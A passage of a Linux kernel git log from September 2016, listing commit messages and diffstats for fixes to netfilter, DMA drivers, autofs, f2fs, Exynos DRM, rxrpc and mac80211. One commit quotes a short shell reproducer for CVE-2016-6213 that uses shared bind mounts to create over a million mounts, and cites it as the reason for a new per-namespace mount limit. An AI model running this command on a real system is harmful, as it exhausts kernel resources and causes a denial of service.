Author: Aaron Conole Date: Wed Sep 28 11:35:15 2016 -0400 netfilter: accommodate different kconfig in nf_set_hooks_head When CONFIG_NETFILTER_INGRESS is unset (or no), we need to handle the request for registration properly by dropping the hook. This releases the entry during the set. Fixes: e3b37f11e6e4 ("netfilter: replace list_head with single linked list") Signed-off-by: Aaron Conole Signed-off-by: Pablo Neira Ayuso net/netfilter/core.c | 15 +++++++++++---- 1 file changed, 11 insertions(+), 4 deletions(-) commit 5119e4381a90fabd3442bde02707cbd9e5d7367a Author: Aaron Conole Date: Wed Sep 28 11:35:14 2016 -0400 netfilter: Fix potential null pointer dereference It's possible for nf_hook_entry_head to return NULL. If two nf_unregister_net_hook calls happen simultaneously with a single hook entry in the list, both will enter the nf_hook_mutex critical section. The first will successfully delete the head, but the second will see this NULL pointer and attempt to dereference. This fix ensures that no null pointer dereference could occur when such a condition happens. Fixes: e3b37f11e6e4 ("netfilter: replace list_head with single linked list") Signed-off-by: Aaron Conole Signed-off-by: Pablo Neira Ayuso net/netfilter/core.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 3770f2a6bfe00869a4b83ee3cced0361ab33289a Author: Sergei Shtylyov Date: Thu Sep 29 01:25:48 2016 +0300 DT: dmaengine: rcar-dmac: document R8A7743/5 support Renesas RZ/G SoC also have the R-Car gen2/3 compatible DMA controllers. Document RZ/G1[ME] (also known as R8A774[35]) SoC bindings. Signed-off-by: Sergei Shtylyov Acked-by: Geert Uytterhoeven Signed-off-by: Vinod Koul Documentation/devicetree/bindings/dma/renesas,rcar-dmac.txt | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit 585a1db1bed7a0cf5142f859430024b98475a219 Author: Arvind Yadav Date: Wed Sep 28 16:15:11 2016 +0530 dmaengine: fsldma: Unmap region obtained by of_iomap Free memory mapping, if probe is not successful. Signed-off-by: Arvind Yadav Acked-by: Li Yang Signed-off-by: Vinod Koul drivers/dma/fsldma.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit fc878efe84c342441706fcdf776e08fe455fe9c1 Author: Colin Ian King Date: Thu Sep 29 18:45:05 2016 +0100 dmaengine: jz4780: fix resource leaks on error exit return In two cases when jz4780_dma_setup_hwdesc fails, there is a memory leak on the allocated desc and associated DMA pools on the error exit return path. Fix this by free'ing the resources before returning. Signed-off-by: Colin Ian King Signed-off-by: Vinod Koul drivers/dma/dma-jz4780.c | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) commit 2e0cc304e984290935c70fdbe589931e552d7d94 Author: Niklas Söderlund Date: Thu Sep 29 21:59:15 2016 +0200 dma-debug: fix ia64 build, use PHYS_PFN kbuild test robot reports: lib/dma-debug.c: In function 'debug_dma_map_resource': >> lib/dma-debug.c:1541:16: error: implicit declaration of function '__phys_to_pfn' [-Werror=implicit-function-declaration] entry->pfn = __phys_to_pfn(addr); ^~~~~~~~~~~~~ ia64 does not provide __phys_to_pfn(), use the PHYS_PFN() alias. Fixes: 0e74b34dfc3318bf ("dma-debug: add support for resource mappings") Signed-off-by: Niklas Söderlund Signed-off-by: Vinod Koul lib/dma-debug.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 9f0df936b1b93a7fab5b9ed73009f43369c121ea Author: Colin Ian King Date: Thu Sep 29 19:14:38 2016 +0100 dmaengine: coh901318: fix integer overflow when shifting more than 32 places Currently U300_DMA_CHANNELS is set to 40, meaning that the shift of 1 can be more than 32 places, which leads to a 32 bit integer overflow. Fix this by using 1ULL instead of 1 before shifting it. Also add braces on the for-loop to keep with coding style conventions. Signed-off-by: Colin Ian King Signed-off-by: Vinod Koul drivers/dma/coh901318.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit 069d5ac9ae0d271903cc4607890616418118379a Author: Eric W. Biederman Date: Fri Sep 30 11:28:05 2016 -0500 autofs: Fix automounts by using current_real_cred()->uid Seth Forshee reports that in 4.8-rcN some automounts are failing because the requesting the automount changed. The relevant call path is: follow_automount() ->d_automount autofs4_d_automount autofs4_mount_wait autofs4_wait In autofs4_wait wq_uid and wq_gid are set to current_uid() and current_gid respectively. With follow_automount now overriding creds uid that we export to userspace changes and that breaks existing setups. To remove the regression set wq_uid and wq_gid from current_real_cred()->uid and current_real_cred()->gid respectively. This restores the current behavior as current->real_cred is identical to current->cred except when override creds are used. Cc: stable@vger.kernel.org Fixes: aeaa4a79ff6a ("fs: Call d_automount with the filesystems creds") Reported-by: Seth Forshee Tested-by: Seth Forshee Signed-off-by: "Eric W. Biederman" fs/autofs4/waitq.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit d29216842a85c7970c536108e093963f02714498 Author: Eric W. Biederman Date: Wed Sep 28 00:27:17 2016 -0500 mnt: Add a per mount namespace limit on the number of mounts CAI Qian pointed out that the semantics of shared subtrees make it possible to create an exponentially increasing number of mounts in a mount namespace. mkdir /tmp/1 /tmp/2 mount --make-rshared / for i in $(seq 1 20) ; do mount --bind /tmp/1 /tmp/2 ; done Will create create 2^20 or 1048576 mounts, which is a practical problem as some people have managed to hit this by accident. As such CVE-2016-6213 was assigned. Ian Kent described the situation for autofs users as follows: > The number of mounts for direct mount maps is usually not very large because of > the way they are implemented, large direct mount maps can have performance > problems. There can be anywhere from a few (likely case a few hundred) to less > than 10000, plus mounts that have been triggered and not yet expired. > > Indirect mounts have one autofs mount at the root plus the number of mounts that > have been triggered and not yet expired. > > The number of autofs indirect map entries can range from a few to the common > case of several thousand and in rare cases up to between 30000 and 50000. I've > not heard of people with maps larger than 50000 entries. > > The larger the number of map entries the greater the possibility for a large > number of active mounts so it's not hard to expect cases of a 1000 or somewhat > more active mounts. So I am setting the default number of mounts allowed per mount namespace at 100,000. This is more than enough for any use case I know of, but small enough to quickly stop an exponential increase in mounts. Which should be perfect to catch misconfigurations and malfunctioning programs. For anyone who needs a higher limit this can be changed by writing to the new /proc/sys/fs/mount-max sysctl. Tested-by: CAI Qian Signed-off-by: "Eric W. Biederman" Documentation/sysctl/fs.txt | 7 +++++++ fs/mount.h | 2 ++ fs/namespace.c | 49 ++++++++++++++++++++++++++++++++++++++++++++- fs/pnode.c | 2 +- fs/pnode.h | 1 + include/linux/mount.h | 2 ++ kernel/sysctl.c | 9 +++++++++ 7 files changed, 70 insertions(+), 2 deletions(-) commit 2cc40ee7ae30fa12c3ee3f18e6c0e81cced2cdcc Author: Arnd Bergmann Date: Fri Sep 30 18:19:01 2016 +0200 dmaengine: edma: avoid uninitialized variable use If edma_read_slot() gets an invalid argument, it does not set a result, as found by "gcc -Wmaybe-uninitialized" drivers/dma/edma.c: In function 'dma_ccerr_handler': drivers/dma/edma.c:1499:21: error: 'p.a_b_cnt' may be used uninitialized in this function [-Werror=maybe-uninitialized] drivers/dma/edma.c:1499:21: error: 'p.ccnt' may be used uninitialized in this function [-Werror=maybe-uninitialized] if (p.a_b_cnt == 0 && p.ccnt == 0) { If we change the function to return an error in this case, we can handle the failure more gracefully and treat this the same way as a null slot that we already catch. Signed-off-by: Arnd Bergmann Signed-off-by: Vinod Koul drivers/dma/edma.c | 12 ++++++++---- 1 file changed, 8 insertions(+), 4 deletions(-) commit fadb2fb8af5348c1bc59cab17c6f8bf515e50d55 Author: Chao Yu Date: Tue Sep 20 10:29:47 2016 +0800 f2fs: fix to avoid race condition when updating sbi flag Making updating of sbi flag atomic by using {test,set,clear}_bit, otherwise in concurrency scenario, the flag could be updated incorrectly. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim fs/f2fs/f2fs.h | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit 9e1e6df412a28cdbbd2909de5c6189eda4a3383d Author: Jaegeuk Kim Date: Mon Sep 19 18:13:54 2016 -0700 f2fs: put directory inodes before checkpoint in roll-forward recovery Before checkpoint, we'd be better drop any inodes. Signed-off-by: Jaegeuk Kim fs/f2fs/recovery.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit a468f0ef516fda9c7d91bb550d458e853d76955e Author: Jaegeuk Kim Date: Mon Sep 19 17:55:10 2016 -0700 f2fs: use crc and cp version to determine roll-forward recovery Previously, we used cp_version only to detect recoverable dnodes. In order to avoid same garbage cp_version, we needed to truncate the next dnode during checkpoint, resulting in additional discard or data write. If we can distinguish this by using crc in addition to cp_version, we can remove this overhead. There is backward compatibility concern where it changes node_footer layout. So, this patch introduces a new checkpoint flag, CP_CRC_RECOVERY_FLAG, to detect new layout. New layout will be activated only when this flag is set. Signed-off-by: Jaegeuk Kim fs/f2fs/checkpoint.c | 21 ++------------ fs/f2fs/f2fs.h | 1 - fs/f2fs/node.h | 77 +++++++++++++++++++++++++++++++------------------ fs/f2fs/recovery.c | 36 ++++------------------- fs/f2fs/segment.c | 22 -------------- fs/f2fs/super.c | 5 +++- include/linux/f2fs_fs.h | 1 + 7 files changed, 63 insertions(+), 100 deletions(-) commit eeea8b40cd2866ca24f25e5ef09225edb076ae45 Merge: 3383c5c 513e43e Author: Takashi Iwai Date: Fri Sep 30 18:40:40 2016 +0200 Merge tag 'asoc-v4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/broonie/sound into for-next ASoC: Updates for v4.9 Apart from the cleanups done by Morimoto-san this has very much been a driver focused release with very little generic change: - A big factoring out of the simple-card code to allow it to be shared more with the rcar generic card from Kuninori Morimoto. - Removal of some operations duplicated on the CODEC level, again by Kuninori Morimoto. - Lots more machine support for x86 systems. - New drivers for Nuvoton NAU88C10, Realtek RT5660 and RT5663. commit 2ce04684335f886fb5adb9ecbd2a85affca549d1 Merge: 3424ff2 5720ec0 2a4635e 1ae4ec1 097d061 Author: Mark Brown Date: Fri Sep 30 09:14:22 2016 -0700 Merge remote-tracking branches 'spi/topic/ti-qspi', 'spi/topic/tools', 'spi/topic/txx9' and 'spi/topic/xlp' into spi-next commit 3424ff29a0c245a7bebe51b6af21cff1e3dd315e Merge: 66b5a33 aeb8f8c 76cce7e 6ffc84d 8736f80 4253168 Author: Mark Brown Date: Fri Sep 30 09:14:18 2016 -0700 Merge remote-tracking branches 'spi/topic/rspi', 'spi/topic/sc18is602', 'spi/topic/sh-msiof', 'spi/topic/spidev-test' and 'spi/topic/st-ssc4' into spi-next commit 66b5a337d0280dc60eb89116fb033df1e4b2e515 Merge: e2df04e 568852b a3cfea0 089bd46 9d04d8b Author: Mark Brown Date: Fri Sep 30 09:14:14 2016 -0700 Merge remote-tracking branches 'spi/topic/octeon', 'spi/topic/pic32-sqi', 'spi/topic/pxa2xx' and 'spi/topic/qup' into spi-next commit e2df04ed3be123fb53740303779e13748b9f8b65 Merge: a931a18 604042a 446576f f75529f dc34b89 2f58ea6 Author: Mark Brown Date: Fri Sep 30 09:14:10 2016 -0700 Merge remote-tracking branches 'spi/topic/fsl-espi', 'spi/topic/imx', 'spi/topic/jcore', 'spi/topic/loopback' and 'spi/topic/meson' into spi-next commit a931a189d4f661d1a23010e40c528c0170a1d9b2 Merge: c5aee51 cc20a38 3aef463 6999aea Author: Mark Brown Date: Fri Sep 30 09:14:08 2016 -0700 Merge remote-tracking branches 'spi/topic/bcm', 'spi/topic/dw' and 'spi/topic/fsl-dspi' into spi-next commit c5aee51b7aba4fb182cc0f05e8d5b0098366d62e Merge: 1a8dabf b1b8153 Author: Mark Brown Date: Fri Sep 30 09:14:07 2016 -0700 Merge remote-tracking branch 'spi/topic/dma' into spi-next commit 1a8dabf88dbd053f95b97cfb087d352c20101d4d Merge: 07216b5 323117a Author: Mark Brown Date: Fri Sep 30 09:14:06 2016 -0700 Merge remote-tracking branch 'spi/topic/core' into spi-next commit 07216b5503f328b756b5f06da9908ce5f404d1e6 Merge: 08895a8 0278b34 Author: Mark Brown Date: Fri Sep 30 09:14:04 2016 -0700 Merge remote-tracking branch 'spi/fix/spidev' into spi-linus commit 2ed89d577c172506b5bada8c5810f607a4eae771 Merge: 2dfcb92 3b06349 Author: Mark Brown Date: Fri Sep 30 09:14:02 2016 -0700 Merge remote-tracking branch 'regulator/topic/tps80031' into regulator-next commit 2dfcb921da781f8b1a166d0ff3a36b3e6804cdf1 Merge: 81c383c 1283b91 5ff00f6 556ae22 73e705b 23a34f9 Author: Mark Brown Date: Fri Sep 30 09:13:58 2016 -0700 Merge remote-tracking branches 'regulator/topic/of', 'regulator/topic/pv88080', 'regulator/topic/rk808', 'regulator/topic/set-voltage' and 'regulator/topic/tps65218' into regulator-next commit 81c383c9ba5fc1df58693468618b4b3ae515a7de Merge: ec09f1c 565f9b0 5258bee ea2f732 5777661 37b918a Author: Mark Brown Date: Fri Sep 30 09:13:55 2016 -0700 Merge remote-tracking branches 'regulator/topic/bulk', 'regulator/topic/dbx500', 'regulator/topic/hi6421', 'regulator/topic/load' and 'regulator/topic/ltc3676' into regulator-next commit ec09f1c575e13df59b0672a0f4ff3abc93039bae Merge: 08895a8 8f9165c Author: Mark Brown Date: Fri Sep 30 09:13:52 2016 -0700 Merge remote-tracking branch 'regulator/fix/tps65910' into regulator-linus commit 4e2678b540bbcd91b2135e13240baa7712eafa33 Author: Linus Walleij Date: Tue Sep 27 16:11:10 2016 -0700 gpio: stmpe: use BIT() macro Avoid custom (1 << bits) shifting by consequently using the BIT() macro from . Reviewed-by: Patrice Chotard Signed-off-by: Linus Walleij drivers/gpio/gpio-stmpe.c | 24 ++++++++++++------------ 1 file changed, 12 insertions(+), 12 deletions(-) commit 96b2cca64fa3e1a31b573bb308b2944c802aacf3 Author: Linus Walleij Date: Tue Sep 27 15:59:12 2016 -0700 gpio: stmpe: forbid unused lines to be mapped as IRQs Exploit the new mechanism for masking off disallowed IRQs added by Mika Westerberg to properly manage the STMPE "norequest mask" to disallow also mapping said lines as IRQs. Reviewed-by: Mika Westerberg Reviewed-by: Patrice Chotard Signed-off-by: Linus Walleij drivers/gpio/gpio-stmpe.c | 11 +++++++++++ 1 file changed, 11 insertions(+) commit c0462796464219fed0fbc1e8b2b93eb6751769f5 Author: Tobias Jakobi Date: Tue Sep 27 17:59:57 2016 +0200 drm/exynos: g2d: simplify g2d_free_runqueue_node() The function is never called with zero 'runqueue_node'. Signed-off-by: Tobias Jakobi Acked-by: Marek Szyprowski Signed-off-by: Inki Dae drivers/gpu/drm/exynos/exynos_drm_g2d.c | 3 --- 1 file changed, 3 deletions(-) commit 7c3fc2b5ccd6694b48c2226704e25fad7acc6976 Author: Tobias Jakobi Date: Tue Sep 27 17:59:56 2016 +0200 drm/exynos: g2d: use autosuspend mode for PM runtime The runqueue worker currently issues a get() when a new node is processed, and a put() once a node is completed. The corresponding suspend and resume calls currently only do clock gating, but with the upcoming introduction of IOMMU runpm also the corresponding IOMMU domain gets enabled (for get()) and disabled (for put()). This introduces performance regressions with we mitigate here. Switch PM runtime to autosuspend, such that clock gating and IOMMU control only happens when the engine is idle for a 'long' time. Signed-off-by: Tobias Jakobi Acked-by: Marek Szyprowski Signed-off-by: Inki Dae drivers/gpu/drm/exynos/exynos_drm_g2d.c | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) commit 134a0fe98471b2e15a2b1bc22f4bddbb98bd6e18 Author: Tobias Jakobi Date: Tue Sep 27 17:50:09 2016 +0200 drm/exynos: g2d: wait for engine to finish While the engine works on a runqueue node it does memory access to the buffers associated with that node. Make sure that the engine is idle when g2d_close() and/or g2d_remove() are called, i.e. buffer associated with the process (for g2d_close()), or all buffers (for g2d_remove()) can be safely be unmapped. We have to take into account that the engine might be in an undefined state, i.e. it hangs and doesn't become idle. In this case, we issue a hardware reset to return the hardware and the driver context into a proper state. Signed-off-by: Tobias Jakobi Acked-by: Marek Szyprowski Signed-off-by: Inki Dae drivers/gpu/drm/exynos/exynos_drm_g2d.c | 84 ++++++++++++++++++++++++++++++--- 1 file changed, 77 insertions(+), 7 deletions(-) commit 5332737432ad5989830dae75df0d3e9cce56e893 Author: Tobias Jakobi Date: Tue Sep 27 17:50:08 2016 +0200 drm/exynos: g2d: remove runqueue nodes in g2d_{close,remove}() The driver might be closed (and/or removed) while there are still nodes queued for processing. Make sure to remove these nodes, which means all of them in the case of g2d_remove() and only those belonging to the corresponding process in g2d_close(). Signed-off-by: Tobias Jakobi Acked-by: Marek Szyprowski Signed-off-by: Inki Dae drivers/gpu/drm/exynos/exynos_drm_g2d.c | 48 ++++++++++++++++++++++----------- 1 file changed, 33 insertions(+), 15 deletions(-) commit 22d6704dd4bf2c80b3850b8f7ff05a67f626fa53 Author: Tobias Jakobi Date: Tue Sep 27 17:50:07 2016 +0200 drm/exynos: g2d: move PM management to runqueue worker Do all pm_runtime_{get,put}() calls in the runqueue worker. Also keep track of the engine's idle/busy state. Signed-off-by: Tobias Jakobi Acked-by: Marek Szyprowski Signed-off-by: Inki Dae drivers/gpu/drm/exynos/exynos_drm_g2d.c | 78 +++++++++++++++++++++++---------- 1 file changed, 56 insertions(+), 22 deletions(-) commit 05e2e4666c2609bd9a72140611713c19ce28fce1 Author: Tobias Jakobi Date: Tue Sep 27 17:50:06 2016 +0200 Revert "drm/exynos: g2d: fix system and runtime pm integration" This reverts commit b05984e21a7e000bf5074ace00d7a574944b2c16. The change, i.e. merging the sleep and runpm operations, produces a deadlock situation: (1) exynos_g2d_exec_ioctl() prepares a runqueue node and calls g2d_exec_runqueue() (2) g2d_exec_runqueue() calls g2d_dma_start() which gets runtime PM sync (3) runtime PM core calls g2d_runtime_resume() (4) g2d_runtime_resume() calls g2d_exec_runqueue(), which loops back to (2) Due to mutexes that are in place, a deadlock situation is created. Signed-off-by: Tobias Jakobi Acked-by: Marek Szyprowski Signed-off-by: Inki Dae drivers/gpu/drm/exynos/exynos_drm_g2d.c | 29 ++++++++++++++++++++++------- 1 file changed, 22 insertions(+), 7 deletions(-) commit 9276dff7a89d81e84a4e4a1a07b636232be5aab0 Author: Andrzej Hajda Date: Fri Sep 23 15:21:38 2016 +0200 drm/exynos: use drm core to handle page-flip event Exynos DRM framework handled page-flip event with custom code. The patch replaces it with drm-core vblank queue. Signed-off-by: Andrzej Hajda Signed-off-by: Inki Dae drivers/gpu/drm/exynos/exynos5433_drm_decon.c | 11 ------- drivers/gpu/drm/exynos/exynos7_drm_decon.c | 9 ------ drivers/gpu/drm/exynos/exynos_drm_crtc.c | 42 +++++++++++++-------------- drivers/gpu/drm/exynos/exynos_drm_drv.h | 2 -- drivers/gpu/drm/exynos/exynos_drm_fimd.c | 15 +--------- drivers/gpu/drm/exynos/exynos_drm_plane.c | 1 - drivers/gpu/drm/exynos/exynos_drm_vidi.c | 10 ------- drivers/gpu/drm/exynos/exynos_mixer.c | 9 ------ 8 files changed, 21 insertions(+), 78 deletions(-) commit d42c09628a14fd07185d189d245ed57854e06179 Author: Baoyou Xie Date: Sun Sep 25 15:54:59 2016 +0800 drm/exynos: mark exynos_dp_crtc_clock_enable() static We get 1 warning when building kernel with W=1: drivers/gpu/drm/exynos/exynos_dp.c:46:5: warning: no previous prototype for 'exynos_dp_crtc_clock_enable' [-Wmissing-prototypes] In fact, this function is only used in the file in which it is declared and don't need a declaration, but can be made static. So this patch marks it 'static'. Signed-off-by: Baoyou Xie Signed-off-by: Inki Dae drivers/gpu/drm/exynos/exynos_dp.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit c96fdfdeca5657740c50b09c46f073edd7a2d3a0 Author: Andrzej Hajda Date: Fri Sep 23 12:43:29 2016 +0200 drm/exynos/fimd: add clock rate checking In case of some platforms fimd clocks can be configured to very low values, as a result refresh rate can be very low and driver/drm-core will timeout waiting for vblanks, it will result in premature removal of framebuffers and will cause oopses. The patch adds atomic_check callback to fimd to prevent setting such modes. Reported-by: Tobias Jakobi Signed-off-by: Andrzej Hajda Signed-off-by: Inki Dae drivers/gpu/drm/exynos/exynos_drm_fimd.c | 39 +++++++++++++++++++++++--------- 1 file changed, 28 insertions(+), 11 deletions(-) commit 14e022f3041d5b0406c7d7175e350e0bf420e625 Author: Andrzej Hajda Date: Mon Sep 26 16:50:21 2016 +0900 drm/exynos: fix pending update handling Exynos DRM devices update their registers at vblank time. Exynos-DRM uses custom mechanism to wait for vblank. This mechanism is error prone - variables are not updated atomically. As a result in certain circumstances user space can try to free buffers which are still in use by hardware, in such cases IOMMU can throw OOPS. The patch instead of fixing the mechanism replaces it with drm core helper. Signed-off-by: Andrzej Hajda Reviewed-by: Gustavo Padovan Signed-off-by: Inki Dae drivers/gpu/drm/exynos/exynos_drm_crtc.c | 16 +----------- drivers/gpu/drm/exynos/exynos_drm_drv.c | 44 +------------------------------- drivers/gpu/drm/exynos/exynos_drm_drv.h | 2 -- 3 files changed, 2 insertions(+), 60 deletions(-) commit 8574e927b4818320257d8b965fb7e0b832532aff Author: Andrzej Hajda Date: Fri Sep 23 10:15:23 2016 +0200 drm/exynos/vidi: use timer for vblanks instead of sleeping worker VIDI driver uses fake vblank handler to generate vblank events. It was implemented using worker which slept for vblank time, additionally it did not work if there were no page flips. The patch replaces it with timer, uses drm_crtc_vblank_(on|off) helpers to manage it and fixes behavior for non-page-flip cases. This change allows further improvements of vblank in exynos-drm framework. Signed-off-by: Andrzej Hajda Reviewed-by: Gustavo Padovan Signed-off-by: Inki Dae drivers/gpu/drm/exynos/exynos_drm_vidi.c | 66 ++++++++++---------------------- 1 file changed, 20 insertions(+), 46 deletions(-) commit 61865b5d4db1f3814385ead23f04dc2b014ba6ff Author: Tobias Jakobi Date: Thu Sep 22 16:57:20 2016 +0200 drm/exynos: g2d: beautify probing message Apply some 'make-up' in g2d_probe(). Signed-off-by: Tobias Jakobi Signed-off-by: Inki Dae drivers/gpu/drm/exynos/exynos_drm_g2d.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit a696394c5224a4795c56df153037f86e056ac0b9 Author: Tobias Jakobi Date: Thu Sep 22 16:57:19 2016 +0200 drm/exynos: mixer: simplify loop in vp_win_reset() A simple while loop should do the same here. Signed-off-by: Tobias Jakobi Signed-off-by: Inki Dae drivers/gpu/drm/exynos/exynos_mixer.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit adeb6f44858c7b0665847545374532ebdcf04a91 Author: Tobias Jakobi Date: Thu Sep 22 11:36:13 2016 +0900 drm/exynos: mixer: convert booleans to flags in mixer context The mixer context struct already has a 'flags' field, so we can use it to store the 'interlace', 'vp_enabled' and 'has_sclk' booleans. We use the non-atomic helper functions to access these bits. Signed-off-by: Tobias Jakobi Reviewed-by: Andrzej Hajda Signed-off-by: Inki Dae drivers/gpu/drm/exynos/exynos_mixer.c | 55 +++++++++++++++++++---------------- 1 file changed, 30 insertions(+), 25 deletions(-) commit c0d656dd2d76db1e7db61609ec8549d38ce0bbff Author: Milo Kim Date: Wed Aug 31 15:14:27 2016 +0900 gpu: drm: exynos_hdmi: Remove duplicate initialization of regulator bulk consumer The helper, devm_regulator_bulk_get() initializes the consumer as NULL, so this code can be ignored. Signed-off-by: Milo Kim Reviewed-by: Andrzej Hajda Signed-off-by: Inki Dae drivers/gpu/drm/exynos/exynos_hdmi.c | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) commit b5413022fd28bd5b1dbfd0ea8187100383109d47 Author: Milo Kim Date: Wed Aug 31 15:14:26 2016 +0900 gpu: drm: exynos_hdmi: Move PHY logic into single function Paring DT properties and getting PHY IO (memory mapped or I2C) in one function. Signed-off-by: Milo Kim Reviewed-by: Andrzej Hajda Signed-off-by: Inki Dae drivers/gpu/drm/exynos/exynos_hdmi.c | 63 +++++++++++++++++++----------------- 1 file changed, 33 insertions(+), 30 deletions(-) commit 1caa360ed97f6bef328b82d364fad7a6a844b36b Author: Milo Kim Date: Wed Aug 31 15:14:25 2016 +0900 gpu: drm: exynos_hdmi: Move DDC logic into single function Paring DT properties and getting the I2C adapter in one function. Signed-off-by: Milo Kim Reviewed-by: Andrzej Hajda Signed-off-by: Inki Dae drivers/gpu/drm/exynos/exynos_hdmi.c | 46 ++++++++++++++++++++---------------- 1 file changed, 25 insertions(+), 21 deletions(-) commit 6b20f728549030056402d7f68ea670eea1eb8198 Author: Cao jin Date: Fri Sep 30 10:06:23 2016 -0500 PCI/AER: Fix aer_probe() kernel-doc comment 0516c8bcd252 ("PCI: PCIe portdrv: Simplily probe callback of service drivers") removed the "id" argument of aer_probe() but neglected to remove the kernel-doc comment. Update the comment. [bhelgaas: changelog] Signed-off-by: Cao jin Signed-off-by: Bjorn Helgaas drivers/pci/pcie/aer/aerdrv.c | 1 - 1 file changed, 1 deletion(-) commit d94655b405ba08838fb3db301dddb02a435ae16c Author: Wei Yongjun Date: Sat Sep 24 12:02:54 2016 +0000 ipmi/bt-bmc: remove redundant return value check of platform_get_resource() Remove unneeded error handling on the result of a call to platform_get_resource() when the value is passed to devm_ioremap_resource(). Signed-off-by: Wei Yongjun Acked-by: Cédric Le Goater Signed-off-by: Corey Minyard drivers/char/ipmi/bt-bmc.c | 5 ----- 1 file changed, 5 deletions(-) commit 405dea1debeb9956684de342903bba9ddd52f1cb Author: David Howells Date: Fri Sep 30 09:13:50 2016 +0100 rxrpc: Fix the call timer handling The call timer's concept of a call timeout (of which there are three) that is inactive is that it is the timeout has the same expiration time as the call expiration timeout (the expiration timer is never inactive). However, I'm not resetting the timeouts when they expire, leading to repeated processing of expired timeouts when other timeout events occur. Fix this by: (1) Move the timer expiry detection into rxrpc_set_timer() inside the locked section. This means that if a timeout is set that will expire immediately, we deal with it immediately. (2) If a timeout is at or before now then it has expired. When an expiry is detected, an event is raised, the timeout is automatically inactivated and the event processor is queued. (3) If a timeout is at or after the expiry timeout then it is inactive. Inactive timeouts do not contribute to the timer setting. (4) The call timer callback can now just call rxrpc_set_timer() to handle things. (5) The call processor work function now checks the event flags rather than checking the timeouts directly. Signed-off-by: David Howells net/rxrpc/call_event.c | 26 ++++++++++++++++++-------- net/rxrpc/call_object.c | 7 ++----- 2 files changed, 20 insertions(+), 13 deletions(-) commit df0adc788ae74e35ab1a79f3db878df7fdc7db55 Author: David Howells Date: Mon Sep 26 22:12:49 2016 +0100 rxrpc: Keep the call timeouts as ktimes rather than jiffies Keep that call timeouts as ktimes rather than jiffies so that they can be expressed as functions of RTT. Signed-off-by: David Howells include/trace/events/rxrpc.h | 25 +++++++-------- net/rxrpc/ar-internal.h | 8 ++--- net/rxrpc/call_event.c | 73 +++++++++++++++++++++++--------------------- net/rxrpc/call_object.c | 16 ++++------ net/rxrpc/input.c | 3 +- net/rxrpc/misc.c | 15 ++++++--- net/rxrpc/sendmsg.c | 8 ++--- net/rxrpc/sysctl.c | 8 ++--- 8 files changed, 82 insertions(+), 74 deletions(-) commit c31410ea009d10501ea90f64cdda0083c8cf0161 Author: David Howells Date: Fri Sep 30 13:42:31 2016 +0100 rxrpc: Remove error from struct rxrpc_skb_priv as it is unused Remove error from struct rxrpc_skb_priv as it is no longer used. Signed-off-by: David Howells net/rxrpc/ar-internal.h | 1 - 1 file changed, 1 deletion(-) commit 775e5b71db6aca47d49d43d08751f2e8ebad7f60 Author: David Howells Date: Fri Sep 30 13:26:03 2016 +0100 rxrpc: The offset field in struct rxrpc_skb_priv is unnecessary The offset field in struct rxrpc_skb_priv is unnecessary as the value can always be calculated. Signed-off-by: David Howells net/rxrpc/ar-internal.h | 1 - net/rxrpc/conn_event.c | 3 ++- net/rxrpc/input.c | 23 ++++++++++++----------- net/rxrpc/local_event.c | 3 ++- net/rxrpc/recvmsg.c | 6 ++---- net/rxrpc/rxkad.c | 9 ++++++--- 6 files changed, 24 insertions(+), 21 deletions(-) commit 0851115090a3eb9585d6a804a61e47f3d89ac2a8 Author: David Howells Date: Fri Sep 30 09:33:27 2016 +0100 rxrpc: Reduce ssthresh to peer's receive window When we receive an ACK from the peer that tells us what the peer's receive window (rwind) is, we should reduce ssthresh to rwind if rwind is smaller than ssthresh. Signed-off-by: David Howells net/rxrpc/input.c | 2 ++ 1 file changed, 2 insertions(+) commit 8782def204e57f6a507ff425e4944df4e010751a Author: David Howells Date: Fri Sep 30 09:26:12 2016 +0100 rxrpc: Switch to Congestion Avoidance mode at cwnd==ssthresh Switch to Congestion Avoidance mode at cwnd == ssthresh rather than relying on cwnd getting incremented beyond ssthresh and the window size, the mode being shifted and then cwnd being corrected. We need to make sure we switch into CA mode so that we stop marking every packet for ACK. Signed-off-by: David Howells net/rxrpc/input.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit bb42f2d13ffcd0baed7547b37d05add51fcd50e1 Author: Toke Høiland-Jørgensen Date: Thu Sep 22 19:04:20 2016 +0200 mac80211: Move reorder-sensitive TX handlers to after TXQ dequeue The TXQ intermediate queues can cause packet reordering when more than one flow is active to a single station. Since some of the wifi-specific packet handling (notably sequence number and encryption handling) is sensitive to re-ordering, things break if they are applied before the TXQ. This splits up the TX handlers and fast_xmit logic into two parts: An early part and a late part. The former is applied before TXQ enqueue, and the latter after dequeue. The non-TXQ path just applies both parts at once. Because fragments shouldn't be split up or reordered, the fragmentation handler is run after dequeue. Any fragments are then kept in the TXQ and on subsequent dequeues they take precedence over dequeueing from the FQ structure. This approach avoids having to scatter special cases all over the place for when TXQ is enabled, at the cost of making the fast_xmit and TX handler code slightly more complex. Signed-off-by: Toke Høiland-Jørgensen [fix a few code-style nits, make ieee80211_xmit_fast_finish void, remove a useless txq->sta check] Signed-off-by: Johannes Berg include/net/mac80211.h | 2 + net/mac80211/ieee80211_i.h | 9 ++ net/mac80211/rx.c | 4 +- net/mac80211/sta_info.c | 10 +- net/mac80211/tx.c | 284 ++++++++++++++++++++++++++++++++------------- net/mac80211/util.c | 11 +- 6 files changed, 230 insertions(+), 90 deletions(-) commit 3a53731df7e2a6e238274d13aa8d4826f78030f9 Author: Pedersen, Thomas Date: Wed Sep 28 16:56:31 2016 -0700 mac80211: mesh: decrease max drift The old value was 30ms, which means mesh sync 